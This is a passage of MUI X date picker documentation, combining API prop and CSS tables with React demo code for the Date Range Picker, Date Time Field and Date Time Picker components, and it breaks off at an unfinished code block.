| day | `object` | - | Yes |  |
| isEndOfHighlighting | `bool` | - | Yes |  |
| isEndOfPreviewing | `bool` | - | Yes |  |
| isFirstVisibleCell | `bool` | - | Yes |  |
| isHighlighting | `bool` | - | Yes |  |
| isLastVisibleCell | `bool` | - | Yes |  |
| isPreviewing | `bool` | - | Yes |  |
| isStartOfHighlighting | `bool` | - | Yes |  |
| isStartOfPreviewing | `bool` | - | Yes |  |
| outsideCurrentMonth | `bool` | - | Yes |  |
| action | `func \| { current?: { focusVisible: func } }` | - | No |  |
| centerRipple | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disabled | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableMargin | `bool` | `false` | No |  |
| disableRipple | `bool` | `false` | No |  |
| disableTouchRipple | `bool` | `false` | No |  |
| draggable | `bool` | `false` | No |  |
| focusRipple | `bool` | `false` | No |  |
| focusVisibleClassName | `string` | - | No |  |
| isVisuallySelected | `bool` | - | No |  |
| onFocusVisible | `func` | - | No |  |
| selected | `bool` | `false` | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| today | `bool` | `false` | No |  |
| TouchRippleProps | `object` | - | No |  |
| touchRippleRef | `func \| { current?: { pulsate: func, start: func, stop: func } }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLButtonElement).

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | day | Styles applied to the day element. |
| - | dayInsideRangeInterval | Styles applied to the day element if `selected=false` and `isHighlighting=true`. |
| - | dayOutsideRangeInterval | Styles applied to the day element if `isHighlighting=false`. |
| - | endOfMonth | Styles applied to the root element if `day` is the end of the month. |
| - | firstVisibleCell | Styles applied to the root element if `day` is the first visible cell of the month. |
| - | hiddenDayFiller | Styles applied to the root element if it is an empty cell used to fill the week. |
| - | lastVisibleCell | Styles applied to the root element if `day` is the last visible cell of the month. |
| - | notSelectedDate | Styles applied to the day element if `selected=false`. |
| - | outsideCurrentMonth | Styles applied to the root element if `outsideCurrentMonth=true` |
| - | rangeIntervalDayHighlight | Styles applied to the root element if `isHighlighting=true`. |
| - | rangeIntervalDayHighlightEnd | Styles applied to the root element if `isEndOfHighlighting=true`. |
| - | rangeIntervalDayHighlightStart | Styles applied to the root element if `isStartOfHighlighting=true`. |
| - | rangeIntervalDayPreview | Styles applied to the root element if `isPreviewing=true`. |
| - | rangeIntervalDayPreviewEnd | Styles applied to the root element if `isEndOfPreviewing=true`. |
| - | rangeIntervalDayPreviewStart | Styles applied to the root element if `isStartOfPreviewing=true`. |
| - | rangeIntervalPreview | Styles applied to the preview element. |
| - | root | Styles applied to the root element. |
| - | startOfMonth | Styles applied to the root element if `day` is the start of the month. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DateRangePickerDay/DateRangePickerDay.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DateRangePickerDay/DateRangePickerDay.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-range-picker-toolbar.md

# DateRangePickerToolbar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { DateRangePickerToolbar } from '@mui/x-date-pickers-pro/DateRangePicker';
// or
import { DateRangePickerToolbar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``true` for Desktop, `false` for Mobile.` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| toolbarFormat | `string` | - | No |  |
| toolbarPlaceholder | `node` | `"––"` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | container | Styles applied to the container element. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DateRangePicker/DateRangePickerToolbar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DateRangePicker/DateRangePickerToolbar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-range-picker.md

# Source: https://mui.com/x/react-date-pickers/date-range-picker.md

---
productId: x-date-pickers
title: React Date Range Picker component
components: DateRangePicker, DesktopDateRangePicker, MobileDateRangePicker, StaticDateRangePicker, DateRangeCalendar, DateRangePickerDay
githubLabel: 'component: DateRangePicker'
packageName: '@mui/x-date-pickers-pro'
materialDesign: https://m2.material.io/components/date-pickers
---

# Date Range Picker [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Date Range Picker lets the user select a range of dates.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';

export default function BasicDateRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangePicker']}>
        <DateRangePicker />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Component composition

The component is built using the `SingleInputDateRangeField` for the keyboard editing and the `DateRangeCalendar` for the view editing.

Check out their documentation page for more information:

- [Date Range Field](/x/react-date-pickers/date-range-field/)
- [Date Range Calendar](/x/react-date-pickers/date-range-calendar/)

You can check the available props of the combined component on the dedicated [API page](/x/api/date-pickers/date-range-picker/#props).
Some [SingleInputDateRangeField props](/x/api/date-pickers/single-input-date-range-field/#props) are not available on the Picker component, you can use `slotProps.field` to pass them to the field.

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRange } from '@mui/x-date-pickers-pro/models';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';

export default function DateRangePickerValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>([
    dayjs('2022-04-17'),
    dayjs('2022-04-21'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangePicker', 'DateRangePicker']}>
        <DemoItem label="Uncontrolled picker" component="DateRangePicker">
          <DateRangePicker
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem label="Controlled picker" component="DateRangePicker">
          <DateRangePicker
            value={value}
            onChange={(newValue) => setValue(newValue)}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Available components

The component is available in four variants:

- The `DesktopDateRangePicker` component which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The `MobileDateRangePicker` component which works best for touch devices and small screens.
  It renders the view inside a modal and does not let users edit values with the keyboard in the field.

- The `DateRangePicker` component which renders `DesktopDateRangePicker` or `MobileDateRangePicker` depending on the device it runs on.

- The `StaticDateRangePicker` component which renders without the popover/modal and field.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { MobileDateRangePicker } from '@mui/x-date-pickers-pro/MobileDateRangePicker';
import { DesktopDateRangePicker } from '@mui/x-date-pickers-pro/DesktopDateRangePicker';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import { pickersLayoutClasses } from '@mui/x-date-pickers/PickersLayout';

export default function ResponsiveDateRangePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DateRangePicker',
          'MobileDateRangePicker',
          'DesktopDateRangePicker',
          'StaticDateRangePicker',
        ]}
      >
        <DemoItem label="Desktop variant" component="DesktopDateRangePicker">
          <DesktopDateRangePicker
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem label="Mobile variant" component="MobileDateRangePicker">
          <MobileDateRangePicker
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem label="Responsive variant" component="DateRangePicker">
          <DateRangePicker
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem label="Static variant" component="StaticDateRangePicker">
          <StaticDateRangePicker
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
            sx={{
              [`.${pickersLayoutClasses.contentWrapper}`]: {
                alignItems: 'center',
              },
            }}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `DateRangePicker` component renders the desktop version if the media query [`@media (pointer: fine)`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/pointer) matches.
This can be customized with the `desktopModeMediaQuery` prop.

:::warning
Responsive components can suffer some inconsistencies between testing environments if media query is not supported.
Please refer to [this section](/x/react-date-pickers/base-concepts/#testing-caveats) for solutions.
:::

## Form props

The component supports the `disabled`, `readOnly` and `name` form props:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';

export default function FormPropsDateRangePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['DateRangePicker', 'DateRangePicker', 'DateRangePicker']}
      >
        <DateRangePicker label="disabled" disabled />
        <DateRangePicker label="readOnly" readOnly />
        <DateRangePicker label="name" name="startDateRange" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
The `name` prop is not available when using the Date Range Picker with the Multi Input Date Range Field.
:::

## Customization

### Render 1 to 3 months

You can render up to 3 months at the same time using the `calendars` prop.

:::info
This prop will be ignored on the mobile picker.
:::

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';

export default function DateRangePickerCalendarProp() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['DateRangePicker', 'DateRangePicker', 'DateRangePicker']}
      >
        <DemoItem label="1 calendar" component="DateRangePicker">
          <DateRangePicker calendars={1} />
        </DemoItem>
        <DemoItem label="2 calendars" component="DateRangePicker">
          <DateRangePicker calendars={2} />
        </DemoItem>
        <DemoItem label="3 calendars" component="DateRangePicker">
          <DateRangePicker calendars={3} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Use a multi input field

You can pass the `MultiInputDateRangeField` component to the Date Range Picker to use it for keyboard editing.

```tsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';

export default function MultiInputDateRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['MultiInputDateRangeField']}>
        <DateRangePicker slots={{ field: MultiInputDateRangeField }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
You can find more information in a [dedicated documentation page section](/x/react-date-pickers/custom-field/#usage-inside-a-range-picker).
:::

### Add shortcuts

To simplify range selection, you can add [shortcuts](/x/react-date-pickers/shortcuts/#range-shortcuts).

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';
import { DateRange } from '@mui/x-date-pickers-pro/models';

const shortcutsItems: PickersShortcutsItem<DateRange<Dayjs>>[] = [
  {
    label: 'This Week',
    getValue: () => {
      const today = dayjs();
      return [today.startOf('week'), today.endOf('week')];
    },
  },
  {
    label: 'Last Week',
    getValue: () => {
      const today = dayjs();
      const prevWeek = today.subtract(7, 'day');
      return [prevWeek.startOf('week'), prevWeek.endOf('week')];
    },
  },
  {
    label: 'Last 7 Days',
    getValue: () => {
      const today = dayjs();
      return [today.subtract(7, 'day'), today];
    },
  },
  {
    label: 'Current Month',
    getValue: () => {
      const today = dayjs();
      return [today.startOf('month'), today.endOf('month')];
    },
  },
  {
    label: 'Next Month',
    getValue: () => {
      const today = dayjs();
      const startOfNextMonth = today.endOf('month').add(1, 'day');
      return [startOfNextMonth, startOfNextMonth.endOf('month')];
    },
  },
  { label: 'Reset', getValue: () => [null, null] },
];

export default function BasicRangeShortcuts() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDateRangePicker
        slotProps={{
          shortcuts: {
            items: shortcutsItems,
          },
          actionBar: { actions: [] },
        }}
        calendars={2}
      />
    </LocalizationProvider>
  );
}

```

### Customize the field

You can find the documentation in the [Custom field page](/x/react-date-pickers/custom-field/).

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

## Month Range Picker 🚧

:::warning
This component isn't available yet, but it is planned—you can 👍 upvote [this GitHub issue](https://github.com/mui/mui-x/issues/4995) to help us prioritize it.
Please don't hesitate to leave a comment there to describe your needs, especially if you have a use case we should address or you're facing specific pain points with your current solution.
:::

The Month Range Picker would let users select a range of months.

---

# Source: https://mui.com/x/api/date-pickers/date-time-field.md

# Source: https://mui.com/x/react-date-pickers/date-time-field.md

---
productId: x-date-pickers
title: React Date Field component
components: DateTimeField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Date Time Field

The Date Time Field component lets users select a date and a time with the keyboard.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateTimeField } from '@mui/x-date-pickers/DateTimeField';

export default function BasicDateTimeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimeField']}>
        <DateTimeField label="Basic date time field" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateTimeField } from '@mui/x-date-pickers/DateTimeField';

export default function DateTimeFieldValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17T15:30'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimeField', 'DateTimeField']}>
        <DateTimeField
          label="Uncontrolled field"
          defaultValue={dayjs('2022-04-17T15:30')}
        />
        <DateTimeField
          label="Controlled field"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

### Customize the date time format

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateTimeField } from '@mui/x-date-pickers/DateTimeField';

export default function CustomDateTimeFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['DateTimeField', 'DateTimeField', 'DateTimeField']}
      >
        <DateTimeField
          label="Format with meridiem"
          defaultValue={dayjs('2022-04-17T15:30')}
          format="L hh:mm a"
        />
        <DateTimeField
          label="Format without meridiem"
          defaultValue={dayjs('2022-04-17T15:30')}
          format="L HH:mm"
        />
        <DateTimeField
          label="Localized format with full letter month"
          defaultValue={dayjs('2022-04-17T15:30')}
          format="LLL"
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
See [Date format and localization—Custom formats](/x/react-date-pickers/adapters-locale/#custom-formats) for more details.
:::

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/date-time-picker-tabs.md

# DateTimePickerTabs API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { DateTimePickerTabs } from '@mui/x-date-pickers/DateTimePicker';
// or
import { DateTimePickerTabs } from '@mui/x-date-pickers';
// or
import { DateTimePickerTabs } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| dateIcon | `node` | `DateRange` | No |  |
| hidden | `bool` | ``window.innerHeight < 667` for `DesktopDateTimePicker` and `MobileDateTimePicker`, `displayStaticWrapperAs === 'desktop'` for `StaticDateTimePicker`` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timeIcon | `node` | `Time` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DateTimePicker/DateTimePickerTabs.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DateTimePicker/DateTimePickerTabs.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-time-picker-toolbar.md

# DateTimePickerToolbar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { DateTimePickerToolbar } from '@mui/x-date-pickers/DateTimePicker';
// or
import { DateTimePickerToolbar } from '@mui/x-date-pickers';
// or
import { DateTimePickerToolbar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``true` for Desktop, `false` for Mobile.` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| toolbarFormat | `string` | - | No |  |
| toolbarPlaceholder | `node` | `"––"` | No |  |
| toolbarTitle | `node` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | ampmLabel | Styles applied to am/pm labels. |
| - | ampmLandscape | Styles applied to am/pm section in landscape mode. |
| - | ampmSelection | Styles applied to the am/pm section. |
| - | dateContainer | Styles applied to the date container element. |
| - | root | Styles applied to the root element. |
| - | separator | Styles applied to the separator element. |
| - | timeContainer | Styles applied to the time container element. |
| - | timeDigitsContainer | Styles applied to the time (except am/pm) container element. |
| - | timeLabelReverse | Styles applied to the time container if rtl. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DateTimePicker/DateTimePickerToolbar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DateTimePicker/DateTimePickerToolbar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-time-picker.md

# Source: https://mui.com/x/react-date-pickers/date-time-picker.md

---
productId: x-date-pickers
title: React Date Time Picker component
components: DateTimePicker, DesktopDateTimePicker, MobileDateTimePicker, StaticDateTimePicker, DigitalClock, MultiSectionDigitalClock, TimeClock
githubLabel: 'component: DateTimePicker'
packageName: '@mui/x-date-pickers'
materialDesign: https://m2.material.io/components/date-pickers
---

# Date Time Picker

The Date Time Picker component lets users select a date and time.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

export default function BasicDateTimePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimePicker']}>
        <DateTimePicker label="Basic date time picker" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Component composition

The component is built using the `DateTimeField` for the keyboard editing, the `DateCalendar` for the date view editing and `DigitalClock` for the time view editing.

Check out their documentation page for more information:

- [Date Field](/x/react-date-pickers/date-field/)
- [Date Calendar](/x/react-date-pickers/date-calendar/)
- [Digital Clock](/x/react-date-pickers/digital-clock/)

You can check the available props of the combined component on the dedicated [API page](/x/api/date-pickers/date-time-picker/#props).
Some [DateTimeField props](/x/api/date-pickers/date-time-field/#props) are not available on the Picker component, you can use `slotProps.field` to pass them to the field.

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

export default function DateTimePickerValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17T15:30'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimePicker', 'DateTimePicker']}>
        <DateTimePicker
          label="Uncontrolled picker"
          defaultValue={dayjs('2022-04-17T15:30')}
        />
        <DateTimePicker
          label="Controlled picker"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Available components

The component is available in four variants:

- The `DesktopDateTimePicker` component which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The `MobileDateTimePicker` component which works best for touch devices and small screens.
  It renders the view inside a modal and a field for keyboard editing.

- The `DateTimePicker` component which renders `DesktopDateTimePicker` or `MobileDateTimePicker` depending on the device it runs on.

- The `StaticDateTimePicker` component which renders without the popover/modal and field.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { MobileDateTimePicker } from '@mui/x-date-pickers/MobileDateTimePicker';
import { DesktopDateTimePicker } from '@mui/x-date-pickers/DesktopDateTimePicker';
import { StaticDateTimePicker } from '@mui/x-date-pickers/StaticDateTimePicker';

export default function ResponsiveDateTimePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DateTimePicker',
          'MobileDateTimePicker',
          'DesktopDateTimePicker',
          'StaticDateTimePicker',
        ]}
      >
        <DemoItem label="Desktop variant">
          <DesktopDateTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Mobile variant">
          <MobileDateTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Responsive variant">
          <DateTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Static variant">
          <StaticDateTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `DateTimePicker` component renders the desktop version if the media query [`@media (pointer: fine)`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/pointer) matches.
This can be customized with the `desktopModeMediaQuery` prop.

:::warning
Responsive components can suffer some inconsistencies between testing environments if media query is not supported.
Please refer to [this section](/x/react-date-pickers/base-concepts/#testing-caveats) for solutions.
:::

## Form props

The component supports the `disabled`, `readOnly` and `name` form props:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

export default function FormPropsDateTimePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['DateTimePicker', 'DateTimePicker', 'DateTimePicker']}
      >
        <DateTimePicker label="disabled" disabled />
        <DateTimePicker label="readOnly" readOnly />
        <DateTimePicker label="name" name="startDateTime" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Views

The component supports six views: `day`, `month`, `year`, `hours`, `minutes` and `seconds`.

By default, the `year`, `day`, `hours`, and `minutes` views are enabled.
Use the `views` prop to change this behavior:

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

export default function DateTimePickerViews() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['DateTimePicker', 'DateTimePicker', 'DateTimePicker']}
      >
        <DemoItem
          label={'"year"", "month", "day", "hours", "minutes" and "seconds"'}
        >
          <DateTimePicker
            views={['year', 'month', 'day', 'hours', 'minutes', 'seconds']}
          />
        </DemoItem>
        <DemoItem label={'"day", "hours"'}>
          <DateTimePicker views={['day', 'hours']} />
        </DemoItem>
        <DemoItem label={'"year", "day", "hours", "minutes", "seconds"'}>
          <DateTimePicker views={['year', 'day', 'hours', 'minutes', 'seconds']} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the component renders the `day` view on mount.
Use the `openTo` prop to change this behavior:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { MobileTimePicker } from '@mui/x-date-pickers/MobileTimePicker';

export default function DateTimePickerOpenTo() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimePicker', 'MobileTimePicker']}>
        <DateTimePicker label={'"year"'} openTo="year" />
        <MobileTimePicker label={'"hours"'} openTo="hours" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
The views will appear in the order defined by the `views` array.
If the view defined in `openTo` is not the first view, then the views before will not be included in the default flow
(for example view the default behaviors, the `year` is only accessible when clicking on the toolbar).
:::

## Landscape orientation

By default, the Date Time Picker component automatically sets the orientation based on the `window.orientation` value.

You can force a specific orientation using the `orientation` prop.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { StaticDateTimePicker } from '@mui/x-date-pickers/StaticDateTimePicker';

export default function StaticDateTimePickerLandscape() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDateTimePicker orientation="landscape" />
    </LocalizationProvider>
  );
}

```

:::info
You can find more information about the layout customization in the [custom layout page](/x/react-date-pickers/custom-layout/).
:::

## Choose time view renderer

You can use the `viewRenderers` prop to change the view that is used for rendering a view.
You might be interested in using the [Time Clock](/x/react-date-pickers/time-clock/) instead of the [Digital Clock](/x/react-date-pickers/digital-clock/) or removing the time view rendering altogether in favor of only using the field to input the time.

```tsx
